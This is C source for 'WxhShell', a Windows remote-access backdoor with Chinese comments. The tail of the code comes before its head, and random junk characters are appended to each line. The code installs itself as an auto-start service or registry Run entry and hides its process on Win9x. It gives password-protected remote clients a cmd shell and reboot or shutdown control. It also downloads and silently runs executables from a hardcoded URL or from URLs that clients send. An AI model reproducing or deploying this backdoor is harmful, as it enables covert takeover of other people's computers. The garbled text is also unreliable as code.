    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }1H=wg>\  
    if(Boot(SHUTDOWN)) = +Xc4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KEr\nKT1  
    else { Ufid%T'  
    closesocket(wsh); s0W2?!>)  
    ExitThread(0); O#kq^C}  
    } =VP=|g  
    break; 2+"r~#K*  
    } JXU2CyMY  
  // 获取shell 8E^@yZo{  
  case 's': { jE/oA<^  
    CmdShell(wsh); f [o%hCS  
    closesocket(wsh); x"4%(xBu  
    ExitThread(0); GdmmrfXB  
    break; 8cxai8  
  } 2>PH 8  
  // 退出 'r} fZ  
  case 'x': { p@Q5b}xCG_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @gfDp<  
    CloseIt(wsh); RW7(r/C  
    break; 7C,T&g 1:  
    } IB5BO7J  
  // 离开 ;N=G=X|}  
  case 'q': { Ug"rJMZG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SZ!=`a]  
    closesocket(wsh); [`_io>*g  
    WSACleanup(); :+&AY2`  
    exit(1); @R2at  
    break; 0@=MOGQb  
        } H AB#pd9  
  } $#NQ <3  
  } F} DUEDND*  
eiMH['X5  
  // 提示信息 6[dur'x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @,H9zrjVFZ  
} u5E]t9~Pq  
  } Rm>^tu -  
j|(Z#3J  
  return; &Ral+J  
} ;?L\Fz(<   
Tupiq  
// shell模块句柄 (Xx n\*S  
int CmdShell(SOCKET sock) n&XGBwgW  
{ Qvoqx>2p5  
STARTUPINFO si; ~oD8Rnf  
ZeroMemory(&si,sizeof(si)); SW?p?<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E l&h;N   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P`SnavQBt  
PROCESS_INFORMATION ProcessInfo; /!&R9!6 :  
char cmdline[]="cmd"; ]]iPEm"@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1cJsj  
  return 0; o|8`>!hF  
} t}p@:'  
HK=[U9 o?  
// 自身启动模式 NX6nQ  
int StartFromService(void) DPHQ,dkp  
{ fys  
typedef struct MXh "Y*}  
{ ^HA %q8| n  
  DWORD ExitStatus; X]*QUV]i  
  DWORD PebBaseAddress; |;vi*u  
  DWORD AffinityMask; Sfjje4R  
  DWORD BasePriority; K`KLC.j  
  ULONG UniqueProcessId; HeN~c<NuB  
  ULONG InheritedFromUniqueProcessId; v90T{1+M|4  
}   PROCESS_BASIC_INFORMATION; j2n,f7hl.  
O}ejWP8>  
PROCNTQSIP NtQueryInformationProcess; VHUW]8We  
Z@rN_WXx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u=l1s1>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JWO=!^  
8\ha@&p  
  HANDLE             hProcess; QBJ3iQs1  
  PROCESS_BASIC_INFORMATION pbi; j6}R7 $JR  
_%@=Uc6V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x%> e)L<  
  if(NULL == hInst ) return 0; 90N`CXas  
mj,fp2D;%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '?*g%Yuz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j -O2aL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Kp iF0K  
9h,u6e  
  if (!NtQueryInformationProcess) return 0; >`T5]_a  
]> !<G8 =N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h1"zV6U  
  if(!hProcess) return 0; J{"kw1Lu  
b!>\2DlyJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .w? .ib(  
<eN R8(P  
  CloseHandle(hProcess); 2ef;NC.&n  
[bQj,PZ&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b3qc_  
if(hProcess==NULL) return 0; rnm03 '{  
B0UJq./`  
HMODULE hMod; Ze^jG-SL$9  
char procName[255]; GR4?BuY,  
unsigned long cbNeeded; HRa@  
~4,I7c7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); } /^C|iS7  
y6HuN  
  CloseHandle(hProcess); D$e B ,~  
+FFG#6e  
if(strstr(procName,"services")) return 1; // 以服务启动 ww d'0P`/  
2h^WYpCm  
  return 0; // 注册表启动 4N? v  
} I?!rOU= 0  
-0HkTY  
// 主模块 5ua?I9fY  
int StartWxhshell(LPSTR lpCmdLine) ,5k-.Md>2*  
{ I0= NaZ7  
  SOCKET wsl; "i)Yvh[y  
BOOL val=TRUE; ffDc 6*.Q  
  int port=0; mXWTm%'[  
  struct sockaddr_in door; wVK*P -C  
QGnxQ{ko  
  if(wscfg.ws_autoins) Install(); 3eIr{xs  
'md0]R|  
port=atoi(lpCmdLine); 1qdZ c_x  
g<*jlM1r  
if(port<=0) port=wscfg.ws_port; S4NL "m  
rjA@U<o  
  WSADATA data; e,1u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @)YY\l#  
&R-H"kK?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h5%|meZQb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); . 5HQ   
  door.sin_family = AF_INET; <!^ [~`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cSP*f0n,eo  
  door.sin_port = htons(port); y7u^zH6wj  
9|r* pK[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ilLBCS}  
closesocket(wsl); _uxPx21g}  
return 1; mPZGA\  
} 3C>qh{z"  
> dZ3+f  
  if(listen(wsl,2) == INVALID_SOCKET) { !4#"!Md4o  
closesocket(wsl); DtCEm(b0  
return 1; 8pZ< 9t'  
} Xg<[fwW  
  Wxhshell(wsl); ~fN%WZ;_  
  WSACleanup(); UV7%4xM5v  
"u^EleE!  
return 0; m$Y :0_^-  
X!,@ j\L  
} P~CrtTss  
pJpNO$$w  
// 以NT服务方式启动 Gy29MUF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !R{R??  
{ n[+'OU[  
DWORD   status = 0; $ACx*e%  
  DWORD   specificError = 0xfffffff; "l~Ci7& !a  
|cbd6e{!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,32xcj}j)r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O mMX$YID  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :>3=gex@^0  
  serviceStatus.dwWin32ExitCode     = 0; dz9Y}\2tf  
  serviceStatus.dwServiceSpecificExitCode = 0; g$37;d3Tx  
  serviceStatus.dwCheckPoint       = 0; GY!C|7kN  
  serviceStatus.dwWaitHint       = 0; h^|5|l  
z5cYyx r>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {a q9i  
  if (hServiceStatusHandle==0) return; :> -1'HC  
nL `9l1  
status = GetLastError(); I`B'1"{  
  if (status!=NO_ERROR) iDb;_?  
{ 8QgA@y"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xh9qg0d  
    serviceStatus.dwCheckPoint       = 0; %|Qw9sbd  
    serviceStatus.dwWaitHint       = 0; Y>6.t"?Q^  
    serviceStatus.dwWin32ExitCode     = status; $n=lsDnhQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; u:P~j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |^n3{m  
    return; ! >.vh]8g  
  } nS.G~c|  
/MTf0^9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Fe=8O ^\  
  serviceStatus.dwCheckPoint       = 0; d.F)9h]XHO  
  serviceStatus.dwWaitHint       = 0; !XE aF]8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1 i|.h  
} >>'C :7+Y  
6F0(aGs  
// 处理NT服务事件,比如:启动、停止 v"6 \=@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5 9 2;W-y  
{ rGwIcx(%  
switch(fdwControl) >l1 r,/\\  
{ ROAI9sW0  
case SERVICE_CONTROL_STOP: bY8GA  
  serviceStatus.dwWin32ExitCode = 0; .(Y6$[#@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 70gg4BS  
  serviceStatus.dwCheckPoint   = 0; UPh=+s #Q  
  serviceStatus.dwWaitHint     = 0; 4iX-(ir,  
  { je%M AgW`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~7.sM  
  } H[&@}v,L  
  return; >IvBU M[Rt  
case SERVICE_CONTROL_PAUSE: 'imU `zeo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pWaPC /,g  
  break; /p`&;/V|  
case SERVICE_CONTROL_CONTINUE: 5D`26dB2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'x%x'9OP  
  break; b)} +>Wx  
case SERVICE_CONTROL_INTERROGATE: 4MvC]_&  
  break; Ej(2w Q  
}; h[Tk; h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] f 7#N  
}  -;c  
6SEltm(  
// 标准应用程序主函数 yY=<'{!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RXSf,O  
{ __N.#c/l{  
!vqC+o>@  
// 获取操作系统版本 Jbw!:x [  
OsIsNt=GetOsVer(); HkjEiU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'p}`i/  
dk5|@?pe  
  // 从命令行安装 Bq}x9C&<  
  if(strpbrk(lpCmdLine,"iI")) Install(); pdz'!I  
%efGt6&  
  // 下载执行文件 " ~Q*XN2  
if(wscfg.ws_downexe) { d0UZ+ RR#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kn  Hv?#  
  WinExec(wscfg.ws_filenam,SW_HIDE); [#b2%G1  
} &d^=s iL  
%$X\"  
if(!OsIsNt) { aC\4}i<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?Myh 7  
HideProc(); szq+@2:  
StartWxhshell(lpCmdLine); 4<gJ2a3  
} f\o R:%  
else /&s}<BMHU  
  if(StartFromService()) Y`li> .\  
  // 以服务方式启动 >)Dhi+D  
  StartServiceCtrlDispatcher(DispatchTable); ,;iA2  
else ;sQbn|=e"  
  // 普通方式启动 @EZ>f5IO+  
  StartWxhshell(lpCmdLine); C3"&sdLb$  
$G";2(-k  
return 0; gA:TL{X0  
} bx;f`8SN  
qu{mqkfN>  
h_ ZX/k  
avNLV  
=========================================== PdE>@0X?M  
7'j9rmTXs  
!#}>Hv^N  
;93KG4a  
ww,Z )m  
RaNeZhF>M  
" [MmM9J["  
19I:%$U3  
#include <stdio.h> ^Q2ZqAf^a  
#include <string.h> -u6#-}S  
#include <windows.h> /bcY6b=:  
#include <winsock2.h> ixI:@#5wY  
#include <winsvc.h> @YZ 4AC  
#include <urlmon.h> .E<Dz  
+TX/g~  
#pragma comment (lib, "Ws2_32.lib") *x,HnHT  
#pragma comment (lib, "urlmon.lib") >>V&yJ_  
> V%Q O>C  
#define MAX_USER   100 // 最大客户端连接数 h6QWH  
#define BUF_SOCK   200 // sock buffer <94WZ?{p  
#define KEY_BUFF   255 // 输入 buffer |5ONFd e"0  
FdxsU DL  
#define REBOOT     0   // 重启 [x_s/"Md;  
#define SHUTDOWN   1   // 关机 rm|7 [mK  
l9Pu&M?5  
#define DEF_PORT   5000 // 监听端口 $9H[3OZPVv  
jT^!J+?6K+  
#define REG_LEN     16   // 注册表键长度 0xP:9rm  
#define SVC_LEN     80   // NT服务名长度 {hd-w4"115  
{j@+h%sF>+  
// 从dll定义API -Enbcz(B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I~RcOiL)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Phlk1*1n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \(u@F<s-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WOb8 "*OM  
Xp^$ E6YFy  
// wxhshell配置信息 :~-i&KNk  
struct WSCFG { Xw(3j)xQ  
  int ws_port;         // 监听端口 2f{kBD  
  char ws_passstr[REG_LEN]; // 口令 AU`OESSI  
  int ws_autoins;       // 安装标记, 1=yes 0=no <.$,`m,  
  char ws_regname[REG_LEN]; // 注册表键名 ;,`]O!G:P  
  char ws_svcname[REG_LEN]; // 服务名 s`vSt* ]K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ITvHD-,\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -tP.S1D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |[WL2<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q X):T#^V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V.j#E 1P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FO^24p  
;Jo*|pju  
}; qw0~ *0}  
fLM.k CD?u  
// default Wxhshell configuration cG(0q[  
struct WSCFG wscfg={DEF_PORT, |_I[1%&`N  
    "xuhuanlingzhe", |Gc&1*$  
    1, #M:B3C!ouY  
    "Wxhshell", O3xz|&xY&  
    "Wxhshell", ULu O0\W  
            "WxhShell Service", ybYXD?  
    "Wrsky Windows CmdShell Service", %&1$~m0  
    "Please Input Your Password: ", \E&thp  
  1, hXnw..0"  
  "http://www.wrsky.com/wxhshell.exe", k(9s+0qe  
  "Wxhshell.exe" kPedX  
    }; VO|u8Z"  
=W |vOfy  
// 消息定义模块 Xv&%2-V;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )u Qvt-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0STk)> 3$-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `.`FgaJ |  
char *msg_ws_ext="\n\rExit."; APOea  
char *msg_ws_end="\n\rQuit."; .S(^roM;+  
char *msg_ws_boot="\n\rReboot..."; i8eA_Q  
char *msg_ws_poff="\n\rShutdown..."; <>?^4NC<M  
char *msg_ws_down="\n\rSave to "; ~=Fk/  
QU%N*bFW%P  
char *msg_ws_err="\n\rErr!"; Ks51:M  
char *msg_ws_ok="\n\rOK!"; 'Ye]eL,I\  
F]0Jwm{  
char ExeFile[MAX_PATH]; WS5"!vz   
int nUser = 0; &gJW6 <  
HANDLE handles[MAX_USER]; `U!(cDY  
int OsIsNt; xpz`))w  
qs "s/$  
SERVICE_STATUS       serviceStatus; 6T]Q.\5BZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rr>IKyI'  
nDF&EE  
// 函数声明 $'y1 Po'2  
int Install(void); ID+,[TM`  
int Uninstall(void); W=F3XYS  
int DownloadFile(char *sURL, SOCKET wsh); +O,V6XRr  
int Boot(int flag); Ho>p ^p  
void HideProc(void); P2|}*h5(  
int GetOsVer(void); g\qX7nIH?  
int Wxhshell(SOCKET wsl); jigbeHRy  
void TalkWithClient(void *cs); y]MWd#U  
int CmdShell(SOCKET sock); [ns&Y0Y`t  
int StartFromService(void); ^Jn|*?+l  
int StartWxhshell(LPSTR lpCmdLine); <G&WYk%u*  
~V!EtZG$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v(a9#bMZU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *:(1K%g  
M$#+W?m&  
// 数据结构和表定义 01-p `H+  
SERVICE_TABLE_ENTRY DispatchTable[] = Q.<giBh  
{ D8a)(wm  
{wscfg.ws_svcname, NTServiceMain}, 5#P: "U  
{NULL, NULL} 2"zIR (  
}; 0NVG"-Q  
x}uwWfe3  
// 自我安装 E=A/4p6\$  
int Install(void) ~xP Szf  
{ l#mtND3  
  char svExeFile[MAX_PATH]; ]}5`7  
  HKEY key; Q-:Ah:/  
  strcpy(svExeFile,ExeFile); +Z )`inw  
C CC4(v  
// 如果是win9x系统,修改注册表设为自启动 y+l<vJu  
if(!OsIsNt) { ST#PMb'izn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  h=:*7>}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;U8dm"  
  RegCloseKey(key); }1l}-w`F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;.L!%$0i#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D5}DV  
  RegCloseKey(key); twAw01".  
  return 0; kg zwlKK  
    } 1LV|t+Sex  
  } ><MGZ?-N  
} _P>1`IR  
else { N45 s'rF  
%`bLmfm  
// 如果是NT以上系统,安装为系统服务 GcPB'`!M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B[C7G7<B  
if (schSCManager!=0)  GE{8I<7c  
{ rD_Ss.\^g  
  SC_HANDLE schService = CreateService C,V|TF.i2  
  ( u!sSgx =  
  schSCManager, ^Z#<tN;  
  wscfg.ws_svcname, S^*(ALFPj  
  wscfg.ws_svcdisp, T]5U_AI@  
  SERVICE_ALL_ACCESS, s9^"wN YQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F^4*|g  
  SERVICE_AUTO_START, LPtx|Sx![  
  SERVICE_ERROR_NORMAL, *C,$W\6sz  
  svExeFile, K+(m'3`  
  NULL, vbW\~xf  
  NULL, 89 _&X[X  
  NULL, jFI]54,  
  NULL, ,Gf+U7'K  
  NULL r>n8`W  
  ); g;| n8]  
  if (schService!=0) yTMGISX5  
  { p8 E;[  
  CloseServiceHandle(schService); 3?-V>-[G_  
  CloseServiceHandle(schSCManager); lk5_s@V l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2}W6{T'  
  strcat(svExeFile,wscfg.ws_svcname); 0ll,V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9}7oKlyk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 74</6T]^  
  RegCloseKey(key); J\,@Bm|1n{  
  return 0; ;1Tpzm  
    } 3@#,i<ge:  
  } -0[>}!l=G  
  CloseServiceHandle(schSCManager); n~L'icD[  
} #==[RNM%ap  
} m"k i*9]  
2g`uC}  
return 1;  @=^jpSnZ  
} vCrWA-q#  
vM$#m1L?  
// 自我卸载 K1qY10F:_  
int Uninstall(void) s?z=q%-p  
{ oWn_3gzw;  
  HKEY key; D0"yZp}  
#&HarBxx  
if(!OsIsNt) { )xXrs^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `jl. f  
  RegDeleteValue(key,wscfg.ws_regname); jw&}N6^G  
  RegCloseKey(key); *AJezhR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! 7#froh  
  RegDeleteValue(key,wscfg.ws_regname); SK~;<>:37  
  RegCloseKey(key); /3bca!O  
  return 0; G=0}IPfp  
  } c9F[pfi(  
} bC>yIjCTn  
} ~S~x@&yR  
else { ESXU, qK]v  
knj,[7uh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); omDi<-  
if (schSCManager!=0) (*@~HF,t=  
{ x#!{5;V&K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _<&K]e@dp  
  if (schService!=0) Jh hT7\h(  
  { CuGOjQ-k~  
  if(DeleteService(schService)!=0) { Xj&~N;Ysb  
  CloseServiceHandle(schService); =iQ`F$M  
  CloseServiceHandle(schSCManager); T3PaG\5B  
  return 0; H;"N|pBy  
  } -p]`(S%  
  CloseServiceHandle(schService); y*TNJJ|  
  } k kuQ"^<J  
  CloseServiceHandle(schSCManager); Z~.]ZWj -  
} 1Tk\n  
} `cTsS  
Z[A|SyZp  
return 1;  ]9l%  
} >ehWjL`8  
3[g++B."pC  
// 从指定url下载文件 jn3|9x  
int DownloadFile(char *sURL, SOCKET wsh) 0aN}zUf  
{ QR-R5XNT[  
  HRESULT hr; Wy-quq03"&  
char seps[]= "/"; f4;8?  
char *token; GeW$lA I  
char *file; i{x0#6_Y  
char myURL[MAX_PATH]; "a_D]D(d5  
char myFILE[MAX_PATH]; XQoT},C  
{w1h<;MH  
strcpy(myURL,sURL); +!Gr`&w*)  
  token=strtok(myURL,seps); R;m0eG`  
  while(token!=NULL) CjukD%>sde  
  { 7)8}8tY^{  
    file=token; 2dlV'U_g  
  token=strtok(NULL,seps); 2*;Y%NcP[  
  } ~m=%a  
'-~/!i+=  
GetCurrentDirectory(MAX_PATH,myFILE); s 7cyo ]  
strcat(myFILE, "\\"); mZJzBYM)  
strcat(myFILE, file); h+d;`7Z>  
  send(wsh,myFILE,strlen(myFILE),0); cg5{o|x  
send(wsh,"...",3,0); .F$AmVTN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uT t:/gm  
  if(hr==S_OK) %Yn)t3d  
return 0; = y,avR  
else "jJ)hk5e  
return 1; zi&d  
J7] 60H#P  
} HPH{{p  
1 3az [  
// 系统电源模块 :|mkI#P.  
int Boot(int flag) |dzF>8< )  
{ #\["y%;W  
  HANDLE hToken; G&H"8REm  
  TOKEN_PRIVILEGES tkp; R}26"+~  
+B|X k[  
  if(OsIsNt) { #E@i@'T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R51!j>[fqM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RUtS_Z&  
    tkp.PrivilegeCount = 1; %$KO]   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TAoR6aE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "kg$s5o  
if(flag==REBOOT) { ?C2;:ol  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kw}1CXD  
  return 0; (:x"p{  
} )eMh,r  
else { kweTK]mT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :J-5Q]#  
  return 0; * XGBym  
} ~l6Y<-!  
  } ^eRT8I  
  else { iCKwd9?)  
if(flag==REBOOT) { (\>'yW{f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rw 8o]  
  return 0; NyLnE  
} y]9U FL"  
else { O3Mv"Py%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 74(J7  
  return 0; =7,U qMl_  
} /vMyf),2  
} *)I1gR~  
@E;pT3; )  
return 1; - S-1<xR  
} S>E.*]_  
$ '*BS  
// win9x进程隐藏模块 r ngw6?`n-  
void HideProc(void) V5 r7eC  
{ 6Qu*'  
FM[To  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RY< b]|  
  if ( hKernel != NULL ) ?Fpl.t~  
  { 18`%WUPnT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E%B Gf}h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SqB|(~S  
    FreeLibrary(hKernel); D0i30p`  
  } +Bfi/>  
}C.{+U  
return; =rF8[Q0K  
} }}1Q<puM  
V}-o): dI|  
// 获取操作系统版本 -~fI|A^  
int GetOsVer(void) ~\,6 C1M  
{ _6 `4_<c=  
  OSVERSIONINFO winfo; yRkMR$5&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qTF>!o #\:  
  GetVersionEx(&winfo); 3PffQ,c[~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z+(V \  
  return 1; xltu g##  
  else FG:BRS<m~  
  return 0; ppKCY4  
} 1+($"$ZC&B  
Beg5[4@  
// 客户端句柄模块 09 s}@C  
int Wxhshell(SOCKET wsl) y@_?3m7B=  
{ nUHVPuQ/'T  
  SOCKET wsh; & jvG]>CS'  
  struct sockaddr_in client; e]?S-J'z  
  DWORD myID; {fD#=  
F DX+  
  while(nUser<MAX_USER) O]eJQ4XN<  
{ ArK9E!`^  
  int nSize=sizeof(client); uD5yw #`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); or`stBx  
  if(wsh==INVALID_SOCKET) return 1; &y\2:IyA  
#" -^;Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yfQE8v+  
if(handles[nUser]==0) faX#KRpfd  
  closesocket(wsh); MX,0gap  
else [bJnl>A  
  nUser++; G[j79o  
  } 8ZfIh   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^MV%\0o  
=]"|x7'!  
  return 0; ifZNl,  
} 5AU3s  
bz]O(`  
// 关闭 socket oW6<7>1M7  
void CloseIt(SOCKET wsh) \}NWR{=  
{ I=a$1%BzEX  
closesocket(wsh); k]pD3.QJ  
nUser--; 0u2uYiE-l  
ExitThread(0); yVzg<%CR^  
} :G/]rDtd  
7g+]  
// 客户端请求句柄 #SNI dc>9\  
void TalkWithClient(void *cs) Fg_s'G,`  
{ *PU,Rc()6  
w[YbL2p  
  SOCKET wsh=(SOCKET)cs; ygt)7f5  
  char pwd[SVC_LEN]; mXj Ljgc}  
  char cmd[KEY_BUFF]; 5N<v'6&=  
char chr[1]; Z"Ni Y  
int i,j; i]%"s_l  
olxP`iK  
  while (nUser < MAX_USER) { Nn1^#kc  
RGI6W{\  
if(wscfg.ws_passstr) { F6VIH(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ZZy`/~z*7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @$Kq<P  
  //ZeroMemory(pwd,KEY_BUFF); ,8nZzVo  
      i=0; 9Ib(x0_  
  while(i<SVC_LEN) { FH`&C*/F0Y  
m-92G8'  
  // 设置超时 q|l|mO  
  fd_set FdRead; UyKG$6F?3  
  struct timeval TimeOut;  j)6B^!  
  FD_ZERO(&FdRead); n3j h\  
  FD_SET(wsh,&FdRead); *r$.1nke  
  TimeOut.tv_sec=8; +Z2<spqG  
  TimeOut.tv_usec=0; KXCmCn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q9tE^d+%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qFbUM;  
)0MshgM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); })vr*[  
  pwd=chr[0]; L b;vrh;A  
  if(chr[0]==0xd || chr[0]==0xa) { u(WQWsN  
  pwd=0; >ImM~SR)  
  break; 1t=X: ]0j  
  } dU^<7 K:S  
  i++; ATp  6-  
    } 4 xzJql  
r ;8z"*  
  // 如果是非法用户,关闭 socket N@a'd0oTd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |ZlT>u  
} 166c\QO  
]pTw]SK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .ASwX   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m>dcb 6B+g  
HKN"$(Q  
while(1) { 1y-lZ}s_  
aW-o=l@;  
  ZeroMemory(cmd,KEY_BUFF); G5y  
cGzYW~K  
      // 自动支持客户端 telnet标准   nYt\e]3  
  j=0; T&"dBoUq>G  
  while(j<KEY_BUFF) { `G0rF\[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @"Fp;Je\bN  
  cmd[j]=chr[0]; w[oQ}5?9'  
  if(chr[0]==0xa || chr[0]==0xd) { ?i EXFYJG  
  cmd[j]=0; dN/ "1%9)  
  break; l~!fQ$~  
  } C!k9JAa$Z  
  j++; yZ)aKwj%U  
    } |abst&yp  
U3+ _'"  
  // 下载文件 <i\zfa'6  
  if(strstr(cmd,"http://")) { 'Mx K}9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7r[ %| :  
  if(DownloadFile(cmd,wsh)) &W<>^C2v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bd~cY/M  
  else 4S0++Hp4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^@*zH ?Rx{  
  } K[>@'P}y  
  else { 2*q: ^  
3 [)s;e  
